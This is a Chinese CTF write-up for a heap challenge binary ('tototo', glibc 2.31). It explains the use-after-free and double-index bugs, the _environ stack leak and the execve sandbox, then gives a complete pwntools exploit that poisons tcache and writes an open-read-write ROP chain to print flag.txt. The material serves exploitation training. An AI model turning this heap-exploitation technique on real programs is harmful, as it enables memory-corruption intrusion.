文章目录
- volatile
- 泄露_environ打栈
- 漏洞
- 利用
- malloc和calloc
- 思路(打_environ)
- 代码
volatile
int volatile vInt; 当要求使用 volatile 声明的变量值的时候,系统总是重新从它所在的内存读取数据,即使它前面的指令刚刚从该处读取过数据。而且读取的数据立刻被保存
泄露_environ打栈
libc中有一个叫做 _environ 的全局变量,里面存放着当前进程的环境变量的地址即栈上的某个地址。
漏洞
禁了_free_hook. malloc的size从0x200到0x800,index限制15内
存在show after free,edit after free,但只能edit三次 change_chunk(chunk_addr_array[index] + 9LL, chunk_size_array[index] - 48LL);
以及存在double use chunk (存在两个不同的index但对应chunk相同)
利用
沙箱禁用execve
在 Linux 系统中,system(“/bin/sh”) 函数调用会导致一系列的系统调用。system() 是 C 语言标准库函数,用于执行一个命令字符串——在这种情况下,是启动一个 shell。这个函数通常会执行以下步骤:
-
fork(): system() 首先调用 fork() 创建一个新的进程。这是通过 fork() 系统调用完成的,它复制了当前进程,创建了一个几乎完全相同的子进程。
-
execve(): 在子进程中,system() 接着调用 execve() 或者其他 exec 系列的函数来执行指定的命令。execve() 系统调用会替换当前进程的映像、数据和堆栈等,用新的程序(在这个例子中是 /bin/sh)。
-
waitpid(): 在父进程中,system() 调用 waitpid() 系统调用,等待子进程的结束。waitpid() 允许父进程收集子进程的退出状态。
-
exit(): 一旦 /bin/sh 执行完毕,子进程会通过 exit() 系统调用终止,这将向父进程发送一个信号表明子进程已经结束。
malloc和calloc
calloc
和malloc
都是C语言中用于动态内存分配的函数,但它们之间存在一些关键差异:
-
初始化差异:
calloc
在分配内存后会自动将这块内存区域中的每一位初始化为零,这意味着分配的内存空间是干净的,所有元素初始值为0。malloc
仅仅分配内存而不进行任何初始化,分配的内存中的数据是未定义的,可能是随机的先前值(即所谓的“垃圾数据”)。
-
参数和使用方式:
calloc
接受两个参数:第一个参数是要分配的元素数量,第二个参数是每个元素的大小(以字节为单位)。这使得calloc
很适合用来分配数组,因为它可以直接根据元素数量和单个元素大小来分配。malloc
只接受一个参数,即需要分配的总内存大小(以字节为单位)。使用malloc
时,你需要手动计算所需的总字节数,并且分配之后可能还需要额外的初始化步骤(如果需要零初始化或其他特定值)。
思路(打_environ)
- 先通过分配一个0x630大小的chunk0和一个0x210大小的chunk1,然后free掉0x630大小的chunk0,再show泄露出libc地址
- 然后连续分三个0x210大小的chunk234正好占据了之前0x630大小的chunk0的位置
- 然后free掉3,1,利用edit after free修改chunk0间接修改到chunk3的fd指针为_environ,然后分配0x210两次3,1得到为environ地址开始的堆块,然后show chunk1就可以得到enviro地址内的内容,就是在environ栈上的地址
- 然后再free chunk 3和4 ,利用edit after free修改chunk0间接修改到chunk3的fd指针为栈地址,然后分配0x210两次3,4,得到栈地址为开始的堆块,然后edit该内容实现rop链orw
代码
from pwn import *
p=process("./tototo")
libc = ELF('./libc-2.31.so')
elf=ELF("./tototo")
context(arch="amd64")
#gdb.attach(p)
#pause()
def add(index,size):
p.sendlineafter(b"is:",b"1")
p.recvuntil(b"index?\n")
p.sendline(str(index))
p.recvuntil(b"size?\n")
p.sendline(str(size))
def dele(index):
p.sendlineafter(b"is:",b"2")
p.recvuntil(b"Which one?\n")
p.sendline(str(index))
def edit(index,content):
p.sendlineafter(b"is:",b"3")
p.recvuntil(b"Which one?\n")
p.sendline(str(index))
p.recvuntil(b"new content?\n")
p.sendline(content)
def show(index):
p.sendlineafter(b"is:",b"4")
p.sendlineafter(b"Which one?\n",str(index))
add(0,0x620)
add(1,0x200)
dele(0)
show(0)
libc_add=p.recvuntil(b"\x7f")
libc.address=int.from_bytes(libc_add,byteorder="little")-0x60-0x1ebb80
print("get libc ",hex(libc.address))
add(2,0x200)
add(3,0x200)
add(4,0x200)
dele(1)
dele(3)
payload=b"\x00"*0x1ff+p64(0x211)+p64(libc.sym['_environ'])
edit(0,payload)
add(3,0x200)
add(1,0x200)
show(1)
stack_address=p.recvuntil(b"\x7f")
stack_address=int.from_bytes(stack_address,byteorder="little")-0x120-0x20
print("stack address",hex(stack_address))
#为libc上的environ地址为开始的堆块
#show显示environ地址内容即environ在栈上的地址
dele(4)
dele(3)
payload=b"\x00"*0x1ff+p64(0x211)+p64(stack_address)
edit(0,payload)
add(3,0x200)
add(4,0x200)
pop_rdi = p64(libc.address + 0x0000000000026b72) # 使用p64将地址转换为8字节的字节串
pop_rdx = p64(libc.address + 0x000000000011c371)
pop_rsi = p64(libc.address + 0x0000000000027529)
pop_rax = p64(libc.address + 0x000000000004a550)
syscall = p64(libc.address + 0x0000000000066229)
# 注意使用b'\x00'来表示空字节,并使用+b进行字节串的拼接
orw = b'\x00' * 0x17 + pop_rdi + p64(0) + pop_rsi + p64(0) + pop_rdx + p64(0)+p64(0) + pop_rax + p64(2) + syscall \
+ pop_rdi + p64(3) + pop_rsi + p64(0) + pop_rdx + p64(0x100) + p64(0) + pop_rax + p64(0) + syscall \
+ pop_rdi + p64(1) + pop_rax + p64(1) + syscall + b'flag.txt\x00'
file_addr= p64(stack_address + len(orw)-0)
orw = b'\x00' * 0x17 + pop_rdi + file_addr + pop_rsi + p64(0) + pop_rdx + p64(0)+p64(0) + pop_rax + p64(2) + syscall \
+ pop_rdi + p64(3) + pop_rsi + file_addr + pop_rdx + p64(0x100) + p64(0) + pop_rax + p64(0) + syscall \
+ pop_rdi + p64(1) + pop_rax + p64(1) + syscall + b'flag.txt\x00'
# 现在 orw 是一个有效的字节串,可用于ROP攻击载荷
payload=orw
edit(4,payload)
flag=str(p.recvuntil(b"}"))
print(flag)
#为返回地址所在栈上位置开始的堆块,但由于编辑只能从第九个字符开始编辑,所以提前减9
p.interactive()
#0x7ffd53eee778-0x00007ffd53eee898